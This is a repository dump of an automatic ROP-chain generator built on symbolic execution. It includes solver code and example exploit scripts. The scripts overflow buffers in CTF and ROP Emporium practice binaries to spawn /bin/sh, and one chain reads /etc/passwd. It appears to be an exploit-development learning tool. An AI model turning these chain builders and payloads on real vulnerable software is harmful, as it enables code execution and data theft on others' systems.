ret 180 | $RSP+0x0058 : 0x0000000000000100 181 | $RSP+0x0060 : 0x00007ffff7a07e6a # pop rsi ; ret 182 | $RSP+0x0068 : 0x00000000003ec860 183 | $RSP+0x0070 : 0x0000000000110070 184 | 185 | write(1, bss, 0x100) 186 | $RSP+0x0000 : 0x00007ffff7a0555f # pop rdi ; ret 187 | $RSP+0x0008 : 0x0000000000000001 188 | $RSP+0x0010 : 0x00007ffff79e5b96 # pop rdx ; ret 189 | $RSP+0x0018 : 0x0000000000000100 190 | $RSP+0x0020 : 0x00007ffff7a07e6a # pop rsi ; ret 191 | $RSP+0x0028 : 0x00000000003ec860 192 | $RSP+0x0030 : 0x0000000000110140 193 | 194 | done in 3.0s (Running on: A9-9420 RADEON R5 2C+3G (2) @ 3.000GHz (using cached)) 195 | ``` 196 | -------------------------------------------------------------------------------- /RopChain.py: -------------------------------------------------------------------------------- 1 | def isintersect(a,b): 2 | for i in a: 3 | for j in b: 4 | if i==j: 5 | return True 6 | return False 7 | 8 | class RopChain(object): 9 | def __init__(self): 10 | self.chains = [] 11 | self.dump_str = None 12 | self.payload = b"" 13 | self.base_addr = 0 14 | self.next_call = None 15 | self.is_noreturn = False 16 | 17 | def merge_ropchain(self, ropchain): 18 | assert not self.is_noreturn, "can't merge ropchain, this chain is no-return" 19 | assert isinstance(ropchain, RopChain), "not RopChain instance" 20 | if self.next_call: 21 | self.append(self.next_call) 22 | for chain in ropchain.chains: 23 | self.append(chain) 24 | self.next_call = ropchain.next_call 25 | 26 | def __add__(self, ropchain): 27 | self.merge_ropchain(ropchain) 28 | return self 29 | 30 | def set_next_call(self, addr, type_val=0, comment=""): 31 | chain = Chain() 32 | chain.set_chain_values([ChainItem(addr, type_val, comment)]) 33 | self.next_call = chain 34 | 35 | def set_base_addr(self, addr): 36 | self.base_addr = addr 37 | 38 | def insert(self, idx, chain): 39 | self.chains.insert(idx, chain) 40 | 41 | def append(self, chain): 42 | self.chains.append(chain) 43 | 44 | def insert_chain(self, chain): 45 | intersect = False 46 | if isintersect(chain.written_regs, set(self.get_solved_regs())): 47 | intersect = True 48 | if intersect and len(self.chains) > 0: 49 | for i in range(len(self.chains)-1, -1, -1): 50 | solved_before = set(self.get_solved_regs(0,i+1)) 51 | written_before = set(self.get_written_regs(0, i+1)) 52 | if isintersect(chain.solved_regs, self.chains[i].written_regs) and not isintersect(solved_before, chain.written_regs): 53 | self.insert(i+1, chain) 54 | break 55 | 56 | if i == 0: 57 | regs_used_after = set(self.get_written_regs()) 58 | depends_regs_after = set(self.get_depends_regs()) 59 | if not isintersect(chain.solved_regs, regs_used_after) and not isintersect(chain.written_regs, depends_regs_after): 60 | self.insert(0, chain) 61 | else: 62 | return False 63 | else: 64 | self.append(chain) 65 | return True 66 | 67 | def get_solved_regs(self, start_chain=None, end_chain=None): 68 | regs_solved = set() 69 | chains = self.chains[start_chain:end_chain] 70 | for chain in chains: 71 | regs_solved.update(chain.solved_regs) 72 | return regs_solved 73 | 74 | def get_written_regs(self, start_chain=None, end_chain=None): 75 | regs_written = set() 76 | chains = self.chains[start_chain:end_chain] 77 | for chain in chains: 78 | regs_written.update(chain.written_regs) 79 | return regs_written 80 | 81 | def get_depends_regs(self, start_chain=None, end_chain=None): 82 | regs_depends = set() 83 | chains = self.chains[start_chain:end_chain] 84 | for chain in chains: 85 | regs_depends.update(chain.depends_regs) 86 | return regs_depends 87 | 88 | def get_chains(self): 89 | chains = [] 90 | for chain in self.chains: 91 | chains.extend(chain.get_chains()) 92 | return chains 93 | 94 | def get_comment(self): 95 | comments = [] 96 | for chain in self.chains: 97 | comments.extend(chain.comment) 98 | return comments 99 | 100 | def dump(self): 101 | next_sp = 0 102 | for chain in self.chains: 103 | next_sp = chain.dump(next_sp, self.base_addr) 104 | if self.next_call: 105 | self.next_call.dump(next_sp, self.base_addr) 106 | print("") 107 | 108 | def payload_str(self): 109 | payload = b"" 110 | for chain in self.chains: 111 | payload += chain.payload_str(self.base_addr) 112 | if self.next_call: 113 | payload += self.next_call.payload_str(self.base_addr) 114 | return payload 115 | 116 | CHAINITEM_TYPE_VALUE = 0 117 | CHAINITEM_TYPE_ADDR = 1 118 | 119 | class ChainItem(object): 120 | def __init__(self, value=0, idx_chain=-1, comment="", type_val=0): 121 | self.value = value 122 | self.type_val = type_val 123 | self.comment = comment 124 | self.idx_chain = idx_chain 125 | 126 | def parseFromModel(chain_value_model, comment="", type_val=0): 127 | chain_item = chain_value_model[0] 128 | alias = chain_item.getVariable().getAlias() 129 | idxchain = int(alias.replace("STACK", "")) + 1 130 | chain_value = chain_item.getValue() 131 | return ChainItem(chain_value, idxchain, comment, type_val) 132 | 133 | def getValue(self, base_addr=0): 134 | if base_addr and self.type_val == 1: # check if value is address 135 | return self.value + base_addr 136 | return self.value 137 | 138 | class Chain(object): 139 | def __init__(self): 140 | self.written_regs = set() 141 | self.solved_regs = set() 142 | self.depends_regs = set() 143 | self.gadget = None 144 | self.chain_values = [] 145 | 146 | def set_chain_values(self, chain_values): 147 | self.chain_values = chain_values 148 | 149 | def set_solved(self, gadget, values, regs=set(), written_regs=set(), depends_regs=set()): 150 | self.solved_regs.update(regs) 151 | self.written_regs.update(gadget.written_regs) 152 | self.written_regs.update(written_regs) 153 | self.depends_regs.update(depends_regs) 154 | self.gadget = gadget 155 | depends_chain_values = [] 156 | chain_values = [ChainItem(0)]*(gadget.diff_sp//8 + 1) 157 | chain_values[0] = ChainItem(gadget.addr, 0, str(gadget), CHAINITEM_TYPE_ADDR) 158 | for chain_item in values: 159 | if isinstance(chain_item, RopChain): 160 | self.written_regs.update(chain_item.get_written_regs()) 161 | self.depends_regs.update(chain_item.get_depends_regs()) 162 | depends_chain_values += chain_item.get_chains() 163 | continue 164 | if chain_item: 165 | chain_values[chain_item.idx_chain] = chain_item 166 | 167 | self.chain_values += depends_chain_values + chain_values 168 | if gadget.end_gadget: 169 | self.written_regs.update(gadget.end_gadget.written_regs) 170 | 171 | def get_chains(self): 172 | return self.chain_values 173 | 174 | def get_written_regs(self): 175 | return self.written_regs 176 | 177 | def get_solved_regs(self): 178 | return self.solved_regs 179 | 180 | def dump(self, sp, base_addr=0): 181 | chains = self.get_chains() 182 | dump_str = "" 183 | for i in range(len(chains)): 184 | chain = chains[i] 185 | com = "" 186 | if chain.comment: 187 | com = " # {}".format(chain.comment) 188 | dump_str += "$RSP+0x{:04x} : 0x{:016x}{}\n".format(sp, chain.getValue(base_addr), com) 189 | sp += 8 190 | print(dump_str, end="") 191 | return sp 192 | 193 | def payload_str(self, base_addr=0): 194 | chains = self.get_chains() 195 | payload = b"" 196 | for i in range(len(chains)): 197 | chain = chains[i] 198 | payload += chain.getValue(base_addr).to_bytes(8, 'little') 199 | return payload 200 | 201 | def __repr__(self): 202 | return "written_regs : {}\nsolved_regs: {}\n".format(self.written_regs, self.solved_regs) 203 | 204 | def __str__(self): 205 | return "written_regs : {}\nsolved_regs: {}\n".format(self.written_regs, self.solved_regs) 206 | -------------------------------------------------------------------------------- /Solver.py: -------------------------------------------------------------------------------- 1 | import code 2 | import pickle 3 | from itertools import combinations, chain 4 | from triton import * 5 | from Gadget import * 6 | from RopChain import * 7 | 8 | def initialize(): 9 | ctx = TritonContext() 10 | ctx.setArchitecture(ARCH.X86_64) 11 | ctx.setMode(MODE.ALIGNED_MEMORY, True) 12 | ctx.setAstRepresentationMode(AST_REPRESENTATION.PYTHON) 13 | return ctx 14 | 15 | def isintersect(a,b): 16 | for i in a: 17 | for j in b: 18 | if i==j: 19 | return True 20 | return False 21 | 22 | def findCandidatesWriteGadgets(gadgets, avoid_char=None): 23 | candidates = {} 24 | for gadget in list(gadgets): 25 | badchar = False 26 | if avoid_char: 27 | for char in avoid_char: 28 | addrb = gadget.addr.to_bytes(8, 'little') 29 | if char in addrb: 30 | badchar = True 31 | break 32 | if badchar: 33 | continue 34 | if gadget.is_memory_write: 35 | isw = gadget.is_memory_write 36 | if not isw in candidates: 37 | candidates[isw] = [gadget] 38 | continue 39 | candidates[isw].append(gadget) 40 | return candidates 41 | 42 | def findForRet(gadgets, min_diff_sp=0, not_write_regs=set(), avoid_char=None): 43 | for gadget in list(gadgets): 44 | badchar = False 45 | if avoid_char: 46 | for char in avoid_char: 47 | addrb = gadget.addr.to_bytes(8, 'little') 48 | if char in addrb: 49 | badchar = True 50 | break 51 | if badchar: 52 | continue 53 | if isintersect(not_write_regs, gadget.written_regs): 54 | continue 55 | if not gadget.is_memory_read and not gadget.is_memory_write and not gadget.is_syscall and gadget.end_type == TYPE_RETURN and gadget.diff_sp == min_diff_sp: 56 | return gadget 57 | 58 | def findPivot(gadgets, not_write_regs=set(), avoid_char=None): 59 | candidates = [] 60 | for gadget in list(gadgets): 61 | badchar = False 62 | if avoid_char: 63 | for char in avoid_char: 64 | addrb = gadget.addr.to_bytes(8, 'little') 65 | if char in addrb: 66 | badchar = True 67 | break 68 | if badchar: 69 | continue 70 | if isintersect(not_write_regs, gadget.written_regs): 71 | continue 72 | if gadget.pivot: 73 | candidates.append(gadget) 74 | return candidates 75 | 76 | def findSyscall(gadgets, not_write_regs=set(), avoid_char=None): 77 | syscall_noret = None 78 | for gadget in list(gadgets): 79 | badchar = False 80 | if avoid_char: 81 | for char in avoid_char: 82 | addrb = gadget.addr.to_bytes(8, 'little') 83 | if char in addrb: 84 | badchar = True 85 | break 86 | if badchar: 87 | continue 88 | if isintersect(not_write_regs, gadget.written_regs): 89 | continue 90 | 91 | if not gadget.is_memory_read and not gadget.is_memory_write and gadget.is_syscall: 92 | if gadget.end_type == TYPE_RETURN: 93 | return gadget 94 | syscall_noret = gadget 95 | 96 | return syscall_noret 97 | 98 | def findCandidatesGadgets(gadgets, regs_write, regs_items, not_write_regs=set(), avoid_char=None, cand_write_first=False): 99 | candidates_pop = [] 100 | candidates_write = [] 101 | candidates_depends = [] 102 | candidates_defined = [] 103 | candidates_defined2 = [] 104 | candidates_no_return = [] 105 | candidates_for_ret = [] 106 | depends_regs = set() 107 | for gadget in list(gadgets): 108 | if isintersect(not_write_regs, gadget.written_regs) or gadget.is_memory_read or gadget.is_memory_write or gadget.end_type in [TYPE_UNKNOWN, TYPE_JMP_MEM, TYPE_CALL_MEM]: 109 | gadgets.remove(gadget) 110 | continue 111 | badchar = False 112 | if avoid_char: 113 | for char in avoid_char: 114 | addrb = gadget.addr.to_bytes(8, 'little') 115 | if char in addrb: 116 | badchar = True 117 | break 118 | if badchar: 119 | continue 120 | 121 | if isintersect(regs_write,set(gadget.defined_regs.keys())): 122 | if regs_items and isintersect(regs_items, set(gadget.defined_regs.items())): 123 | candidates_defined2.append(gadget) 124 | else: 125 | candidates_defined.append(gadget) 126 | gadgets.remove(gadget) 127 | depends_regs.update(gadget.depends_regs) 128 | continue 129 | 130 | if isintersect(regs_write,gadget.popped_regs): 131 | candidates_pop.append(gadget) 132 | gadgets.remove(gadget) 133 | depends_regs.update(gadget.depends_regs) 134 | continue 135 | 136 | if isintersect(regs_write,gadget.written_regs): 137 | candidates_write.append(gadget) 138 | gadgets.remove(gadget) 139 | depends_regs.update(gadget.depends_regs) 140 | continue 141 | 142 | if depends_regs: 143 | candidates_depends = findCandidatesGadgets(gadgets, depends_regs, set(), not_write_regs) 144 | if cand_write_first: 145 | candidates = candidates_write + candidates_defined2 + candidates_pop + candidates_defined + candidates_depends # ordered by useful gadgets 146 | else: 147 | candidates = candidates_defined2 + candidates_pop + candidates_defined + candidates_write + candidates_no_return + candidates_depends # ordered by useful gadgets 148 | 149 | for gadget in gadgets: 150 | if gadget.diff_sp in [8,0]: 151 | candidates_for_ret.append(gadget) 152 | gadgets.remove(gadget) 153 | 154 | candidates += candidates_for_ret 155 | return candidates 156 | 157 | def extract_byte(bv, pos): 158 | return (bv >> pos*8) & 0xff 159 | 160 | def filter_byte(astctxt, bv, bc, bsize): 161 | nbv = [] 162 | for i in range(bsize): 163 | nbv.append(astctxt.lnot(astctxt.equal(astctxt.extract(i*8+7, i*8, bv),astctxt.bv(bc, 8)))) 164 | return nbv 165 | 166 | def check_contain_avoid_char(regvals, avoid_char): 167 | for char in avoid_char: 168 | for val in regvals: 169 | if isinstance(val, str): 170 | continue 171 | valb = val.to_bytes(8, 'little') 172 | if char in valb: 173 | return True 174 | return False 175 | 176 | def get_all_written(tmp_solved): 177 | written_regs = set() 178 | for solved in tmp_solved: 179 | written_regs.update(solved.get_written_regs()) 180 | return written_regs 181 | 182 | def get_all_solved(tmp_solved): 183 | solved_regs = set() 184 | for solved in tmp_solved: 185 | solved_regs.update(solved.get_solved_regs()) 186 | return solved_regs 187 | 188 | def insert_tmp_solved(tmp_solved, solved): 189 | intersect = False 190 | if isintersect(solved.get_written_regs(), get_all_solved(tmp_solved)): 191 | intersect = True 192 | if intersect and len(tmp_solved) > 0: 193 | for i in range(len(tmp_solved)-1, -1, -1): 194 | solved_before = get_all_solved(tmp_solved[:i+1]) 195 | if isintersect(solved.get_solved_regs(), tmp_solved[i].get_written_regs()) and not isintersect(solved_before, solved.get_written_regs()): 196 | tmp_solved.insert(i+1, solved) 197 | break 198 | regs_used_after = get_all_written(tmp_solved) 199 | if i == 0: 200 | if not isintersect(solved.get_solved_regs(), regs_used_after): 201 | tmp_solved.insert(0, solved) 202 | else: 203 | return False 204 | else: 205 | tmp_solved.append(solved) 206 | return True 207 | 208 | def solveGadgets(gadgets, solves, avoid_char=None, keep_regs=set(), add_type=dict(), for_refind=set(), rec_limit=0): 209 | regs = ["rax", "rbx", "rcx", "rdx", "rsi", "rdi", "rbp", "r8", "r9", "r10", "r11", "r12", "r13", "r14", "r15"] 210 | find_write_first = False 211 | if avoid_char: 212 | find_write_first = check_contain_avoid_char(solves.values(), avoid_char) 213 | candidates = findCandidatesGadgets(gadgets[:], set(solves.keys()), set(solves.items()), avoid_char=avoid_char, cand_write_first=find_write_first) 214 | ctx = initialize() 215 | astCtxt = ctx.getAstContext() 216 | chains = RopChain() 217 | reg_refind = set() 218 | 219 | if rec_limit >= 30: # maximum recursion 220 | return [] 221 | 222 | for gadget in candidates: 223 | tmp_solved_ordered = [] 224 | tmp_solved_regs = set() 225 | tmp_solved_ordered2 = [] 226 | if not gadget.is_asted: 227 | gadget.buildAst() 228 | reg_to_reg_solve = set() 229 | 230 | if isintersect(keep_regs, gadget.written_regs): 231 | continue 232 | 233 | for reg,val in solves.items(): 234 | if reg not in gadget.written_regs or reg in gadget.end_reg_used: 235 | continue 236 | 237 | regAst = gadget.regAst[reg] 238 | if reg in gadget.defined_regs and gadget.defined_regs[reg] == val: 239 | tmp_solved_regs.add(reg) 240 | tmp_solved_ordered.append([]) 241 | if isinstance(val, str): 242 | reg_to_reg_solve.add(val) 243 | continue 244 | 245 | refind_dict = {} 246 | if isinstance(val, str): # probably registers 247 | if reg in gadget.defined_regs and isinstance(gadget.defined_regs[reg], str) and gadget.defined_regs[reg] != reg: 248 | refind_dict[gadget.defined_regs[reg]] = val 249 | hasil = [] 250 | else: 251 | continue 252 | else: 253 | if avoid_char: 254 | if reg in gadget.defined_regs and isinstance(gadget.defined_regs[reg],int): 255 | continue 256 | childs = astCtxt.search(regAst, AST_NODE.VARIABLE) 257 | filterbyte = [] 258 | hasil = False 259 | valb = val.to_bytes(8, 'little') 260 | lval = len(valb.strip(b"\x00")) 261 | for char in avoid_char: 262 | if char in valb: 263 | for child in childs: 264 | for char in avoid_char: 265 | fb = filter_byte(astCtxt, child, char, lval) 266 | filterbyte.extend(fb) 267 | if filterbyte: 268 | filterbyte.append(regAst == astCtxt.bv(val,64)) 269 | if filterbyte: 270 | filterbyte = astCtxt.land(filterbyte) 271 | hasil = list(ctx.getModel(filterbyte).values()) 272 | if not hasil: # try to find again 273 | hasil = list(ctx.getModel(regAst == astCtxt.bv(val,64)).values()) 274 | 275 | else: 276 | hasil = list(ctx.getModel(regAst == astCtxt.bv(val,64)).values()) 277 | 278 | for v in hasil: 279 | alias = v.getVariable().getAlias() 280 | if 'STACK' not in alias: # check if value is found not in stack 281 | if alias in regs and alias not in refind_dict: # check if value is found in reg 282 | 283 | # check if reg for next search contain avoid char, if 284 | # true break 285 | if alias == reg and avoid_char: 286 | valb = v.getValue().to_bytes(8, 'little') 287 | for char in avoid_char: 288 | if char in valb: 289 | hasil = False 290 | refind_dict = False 291 | if not hasil: 292 | break 293 | 294 | if ((alias != reg and (alias,val) not in for_refind) or v.getValue() != val): 295 | refind_dict[alias] = v.getValue() # re-search value with new reg 296 | else: 297 | hasil = False 298 | refind_dict = False 299 | break 300 | else: 301 | hasil = False 302 | break 303 | elif avoid_char: # check if stack is popped contain avoid char 304 | for char in avoid_char: 305 | if char in val.to_bytes(8, 'little'): 306 | hasil = False 307 | refind_dict = False 308 | break 309 | if refind_dict: 310 | # print((gadget,refind_dict,rec_limit)) 311 | tmp_for_refind = for_refind.copy() # don't overwrite old value 312 | tmp_for_refind.add((reg,val)) 313 | reg_refind.update(set(list(refind_dict.keys()))) 314 | hasil = solveGadgets(candidates[:], refind_dict, avoid_char, for_refind=tmp_for_refind, rec_limit=rec_limit+1) 315 | 316 | if hasil: 317 | if isinstance(val, str): 318 | reg_to_reg_solve.add(gadget.defined_regs[reg]) 319 | if not isinstance(hasil, RopChain): 320 | type_chain = CHAINITEM_TYPE_VALUE 321 | if add_type and reg in add_type and add_type[reg] == CHAINITEM_TYPE_ADDR: 322 | type_chain = CHAINITEM_TYPE_ADDR 323 | hasil = ChainItem.parseFromModel(hasil, type_val=type_chain) 324 | tmp_solved_ordered.append(hasil) 325 | tmp_solved_regs.add(reg) 326 | else: 327 | if insert_tmp_solved(tmp_solved_ordered2, hasil): 328 | tmp_solved_regs.add(reg) 329 | 330 | if not tmp_solved_regs: 331 | continue 332 | 333 | if gadget.end_type != TYPE_RETURN: 334 | if isintersect(set(list(solves.keys())), gadget.end_reg_used) or not gadget.end_ast: 335 | continue 336 | next_gadget = None 337 | # print("handling no return gadget") 338 | diff = 0 339 | if gadget.end_type == TYPE_JMP_REG: 340 | next_gadget = findForRet(candidates[:], 0, tmp_solved_regs, avoid_char=avoid_char) 341 | elif gadget.end_type == TYPE_CALL_REG: 342 | next_gadget = findForRet(candidates[:], 8, tmp_solved_regs, avoid_char=avoid_char) 343 | diff = 8 344 | if not next_gadget: 345 | continue 346 | gadget.end_gadget = next_gadget 347 | gadget.diff_sp += next_gadget.diff_sp - diff 348 | 349 | regAst = gadget.end_ast 350 | val = gadget.end_gadget.addr 351 | hasil = list(ctx.getModel(regAst == val).values()) 352 | 353 | refind_dict = {} 354 | type_chains = {} 355 | for v in hasil: 356 | alias = v.getVariable().getAlias() 357 | if 'STACK' not in alias: 358 | if alias in regs and alias not in refind_dict: 359 | refind_dict[alias] = v.getValue() 360 | type_chains[alias] = CHAINITEM_TYPE_ADDR 361 | else: 362 | hasil = False 363 | break 364 | if refind_dict: 365 | reg_to_reg_solve.update(tmp_solved_regs) 366 | reg_to_reg_solve.update(reg_refind) 367 | hasil = solveGadgets(gadgets, refind_dict, avoid_char, add_type=type_chains, keep_regs=reg_to_reg_solve, rec_limit=rec_limit+1) 368 | if not hasil: 369 | continue 370 | if not isinstance(hasil, RopChain): 371 | type_chain = CHAINITEM_TYPE_ADDR 372 | hasil = ChainItem.parseFromModel(hasil, type_val=type_chain) 373 | tmp_solved_ordered.append(hasil) 374 | else: 375 | insert_tmp_solved(tmp_solved_ordered2, hasil) 376 | 377 | tmp_solved_ordered.extend(tmp_solved_ordered2) 378 | dep_regs = set() 379 | if reg_to_reg_solve: 380 | dep_regs = reg_to_reg_solve - tmp_solved_regs 381 | 382 | tmp_chain = Chain() 383 | tmp_chain.set_solved(gadget, tmp_solved_ordered, tmp_solved_regs, depends_regs=dep_regs) 384 | 385 | if not chains.insert_chain(tmp_chain): 386 | # print("failed insert") 387 | continue # can't insert chain 388 | 389 | for reg in tmp_solved_regs: 390 | if reg in solves: 391 | del solves[reg] 392 | 393 | if not solves: 394 | return chains 395 | 396 | return [] 397 | 398 | def solveWriteGadgets(gadgets, solves, avoid_char=None): 399 | regs = ["rax", "rbx", "rcx", "rdx", "rsi", "rdi", "r8", "r9", "r10", "r11", "r12", "r13", "r14", "r15"] 400 | final_solved = [] 401 | candidates = findCandidatesWriteGadgets(gadgets[:], avoid_char=avoid_char) 402 | ctx = initialize() 403 | gwr = list(candidates.keys()) 404 | chains = RopChain() 405 | gwr.sort() 406 | for w in gwr: 407 | for gadget in candidates[w]: 408 | if not gadget.is_asted: 409 | gadget.buildAst() 410 | for addr,val in list(solves.items())[:]: 411 | mem_ast = gadget.memory_write_ast[0] 412 | if mem_ast[1].getBitvectorSize() != 64: 413 | break 414 | addrhasil = ctx.getModel(mem_ast[0] == addr).values() 415 | valhasil = ctx.getModel(mem_ast[1] == val).values() 416 | if not addrhasil or not valhasil: 417 | break 418 | hasil = list(addrhasil) + list(valhasil) 419 | refind_dict = {} 420 | # code.interact(local=locals()) 421 | for v in hasil: 422 | alias = v.getVariable().getAlias() 423 | if 'STACK' not in alias: 424 | if alias in regs and alias not in refind_dict: 425 | refind_dict[alias] = v.getValue() 426 | else: 427 | hasil = False 428 | break 429 | if hasil and refind_dict: 430 | hasil = solveGadgets(gadgets[:], refind_dict, avoid_char=avoid_char) 431 | if hasil: 432 | del solves[addr] 433 | chain = Chain() 434 | chain.set_solved(gadget, [hasil]) 435 | chains.insert_chain(chain) 436 | if not solves: 437 | return chains 438 | 439 | def solvePivot(gadgets, addr_pivot, avoid_char=None): 440 | regs = ["rax", "rbx", "rcx", "rdx", "rsi", "rdi", "rbp", "r8", "r9", "r10", "r11", "r12", "r13", "r14", "r15"] 441 | candidates = findPivot(gadgets, avoid_char=avoid_char) 442 | ctx = initialize() 443 | chains = RopChain() 444 | for gadget in candidates: 445 | if not gadget.is_asted: 446 | gadget.buildAst() 447 | hasil = ctx.getModel(gadget.pivot_ast == addr_pivot).values() 448 | for v in hasil: 449 | alias = v.getVariable().getAlias() 450 | refind_dict = dict() 451 | if 'STACK' not in alias: 452 | if alias in regs and alias not in refind_dict: 453 | refind_dict[alias] = v.getValue() 454 | else: 455 | hasil = False 456 | break 457 | else: 458 | idxchain = int(alias.replace("STACK", "")) 459 | new_diff_sp = (idxchain+1)*8 460 | if hasil and refind_dict: 461 | hasil = solveGadgets(gadgets[:], refind_dict, avoid_char=avoid_char) 462 | new_diff_sp = 0 463 | if not hasil: 464 | continue 465 | gadget.diff_sp = new_diff_sp 466 | chain = Chain() 467 | chain.set_solved(gadget, [hasil]) 468 | chains.insert_chain(chain) 469 | return chains 470 | -------------------------------------------------------------------------------- /examples/CJ2017_echo/echo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/d4em0n/exrop/343eee05bd4b9d31db3e55a70a33893527225c84/examples/CJ2017_echo/echo -------------------------------------------------------------------------------- /examples/CJ2017_echo/exploit.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | import time 3 | from Exrop import Exrop 4 | 5 | binname = "echo" 6 | libc = ELF(binname, checksec=False) 7 | bss = libc.bss() 8 | 9 | t = time.mktime(time.gmtime()) 10 | rop = Exrop(binname) 11 | rop.find_gadgets(cache=True) # it's slow for first analyze keep waiting 12 | print("Analyzing done in {}s".format(time.mktime(time.gmtime()) - t)) 13 | chain = rop.syscall(0x3b, ("/bin/sh",0,0), bss) 14 | chain.dump() 15 | buf = b"A"*10008 16 | pay = buf + chain.payload_str() 17 | p = process("./echo") 18 | p.sendline(pay) 19 | p.interactive() 20 | -------------------------------------------------------------------------------- /examples/CJ2017_echo/exploit_orw.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | from Exrop import Exrop 3 | 4 | binname = "echo" 5 | elf = ELF(binname, checksec=False) 6 | rwaddr = elf.bss() 7 | 8 | SYS_OPEN = 2 9 | SYS_READ = 0 10 | SYS_WRITE = 1 11 | 12 | rop = Exrop(binname) 13 | rop.find_gadgets(cache=True) 14 | chain = rop.syscall(SYS_OPEN, ('./this_is_flag.txt', 0, 0), rwaddr) 15 | chain += rop.syscall(SYS_READ, ('rax', rwaddr, 0x40)) 16 | chain += rop.syscall(SYS_WRITE, (1, rwaddr, 0x40)) 17 | chain.dump() 18 | buf = b"A"*10008 19 | pay = buf + chain.payload_str() 20 | p = process("./echo") 21 | p.sendline(pay) 22 | p.interactive() 23 | -------------------------------------------------------------------------------- /examples/CJ2017_echo/this_is_flag.txt: -------------------------------------------------------------------------------- 1 | flag{this_is_dummy_flag} 2 | -------------------------------------------------------------------------------- /examples/avoid_badchars.py: -------------------------------------------------------------------------------- 1 | from Exrop import Exrop 2 | import time 3 | 4 | rop = Exrop("libc.so.6") 5 | rop.find_gadgets(cache=True) # it's slow for first analyze keep waiting 6 | chain = rop.set_regs({'rsi': 0x330a330d, 'rdx': 0x33330a3333, 'rax': 0x0d33440a}, avoid_char=b'\x0a\x0d') 7 | chain.dump() 8 | #print(chain.payload_str()) 9 | -------------------------------------------------------------------------------- /examples/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/d4em0n/exrop/343eee05bd4b9d31db3e55a70a33893527225c84/examples/libc.so.6 -------------------------------------------------------------------------------- /examples/open-read-write.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | import time 3 | from Exrop import Exrop 4 | 5 | binname = "libc.so.6" 6 | libc = ELF(binname, checksec=False) 7 | open = libc.symbols['open'] 8 | read = libc.symbols['read'] 9 | write = libc.symbols['write'] 10 | bss = libc.bss() 11 | 12 | t = time.mktime(time.gmtime()) 13 | rop = Exrop(binname) 14 | rop.find_gadgets(cache=True) # it's slow for first analyze keep waiting 15 | print("open('/etc/passwd', 0)") 16 | chain = rop.func_call(open, ("/etc/passwd", 0), bss) 17 | chain.set_base_addr(0x00007ffff79e4000) 18 | chain.dump() 19 | print("read('rax', bss, 0x100)") # register can be used as argument too! 20 | chain = rop.func_call(read, ('rax', bss, 0x100)) 21 | chain.set_base_addr(0x00007ffff79e4000) 22 | chain.dump() 23 | print("write(1, bss, 0x100)") 24 | chain = rop.func_call(write, (1, bss, 0x100)) 25 | chain.set_base_addr(0x00007ffff79e4000) 26 | chain.dump() 27 | print("done in {}s".format(time.mktime(time.gmtime()) - t)) 28 | #print(chain.payload_str()) 29 | -------------------------------------------------------------------------------- /examples/rop_emporium/badchars/badchars: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/d4em0n/exrop/343eee05bd4b9d31db3e55a70a33893527225c84/examples/rop_emporium/badchars/badchars -------------------------------------------------------------------------------- /examples/rop_emporium/badchars/exploit.py: -------------------------------------------------------------------------------- 1 | from Exrop import Exrop 2 | from pwn import * 3 | 4 | binname = "./badchars" 5 | rop = Exrop(binname) 6 | rop.find_gadgets(cache=True) 7 | elf = ELF("./badchars", checksec=False) 8 | system = elf.symbols['system'] 9 | print("system @ {:08x}".format(system)) 10 | chain = rop.func_call(system, ("head${IFS}?lag.txt", 0), elf.bss()) # hack to avoid badchar 11 | #chain.dump() 12 | buf = b"A"*40 13 | payload = buf + chain.payload_str() 14 | p = process("./badchars") 15 | p.recv(1024) 16 | p.sendline(payload) 17 | p.interactive() 18 | -------------------------------------------------------------------------------- /examples/rop_emporium/badchars/flag.txt: -------------------------------------------------------------------------------- 1 | ROPE{a_placeholder_32byte_flag!} 2 | -------------------------------------------------------------------------------- /examples/rop_emporium/callme/callme: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/d4em0n/exrop/343eee05bd4b9d31db3e55a70a33893527225c84/examples/rop_emporium/callme/callme -------------------------------------------------------------------------------- /examples/rop_emporium/callme/encrypted_flag.txt: -------------------------------------------------------------------------------- 1 | SMSA~gXxekhieactt`L''tnl|E}p|y>]! 2 | -------------------------------------------------------------------------------- /examples/rop_emporium/callme/exploit.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | from Exrop import Exrop 3 | 4 | binname = "./callme" 5 | p = process(binname) 6 | elf = ELF(binname) 7 | callme_one = elf.symbols['callme_one'] 8 | callme_two = elf.symbols['callme_two'] 9 | callme_three = elf.symbols['callme_three'] 10 | rop = Exrop(binname) 11 | rop.find_gadgets(cache=True) 12 | chain1 = rop.func_call(callme_one, (1,2,3)) 13 | chain1.dump() 14 | chain2 = rop.func_call(callme_two, (1,2,3)) 15 | chain2.dump() 16 | chain3 = rop.func_call(callme_three, (1,2,3)) 17 | chain3.dump() 18 | buf = b"A"*0x28 19 | rop = chain1.payload_str() + chain2.payload_str() + chain3.payload_str() 20 | pay = buf + rop 21 | p.sendlineafter("> ", pay) 22 | p.interactive() 23 | -------------------------------------------------------------------------------- /examples/rop_emporium/callme/key1.dat: -------------------------------------------------------------------------------- 1 |  2 |  -------------------------------------------------------------------------------- /examples/rop_emporium/callme/key2.dat: -------------------------------------------------------------------------------- 1 |  -------------------------------------------------------------------------------- /examples/rop_emporium/callme/libcallme.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/d4em0n/exrop/343eee05bd4b9d31db3e55a70a33893527225c84/examples/rop_emporium/callme/libcallme.so -------------------------------------------------------------------------------- /examples/rop_emporium/fluff/exploit.py: -------------------------------------------------------------------------------- 1 | from Exrop import Exrop 2 | from pwn import * 3 | 4 | binname = "fluff" 5 | rop = Exrop(binname) 6 | rop.find_gadgets(cache=True, add_opt="--depth 15") 7 | elf = ELF(binname, checksec=False) 8 | bss = elf.bss() 9 | system = elf.symbols['system'] 10 | chain = rop.func_call(system, ("/bin/sh",), elf.bss()) 11 | chain.dump() 12 | buf = b"A"*40 13 | buf += chain.payload_str() 14 | p = process("./fluff") 15 | p.sendlineafter("> ", buf) 16 | p.interactive() 17 | -------------------------------------------------------------------------------- /examples/rop_emporium/fluff/flag.txt: -------------------------------------------------------------------------------- 1 | ROPE{a_placeholder_32byte_flag!} 2 | 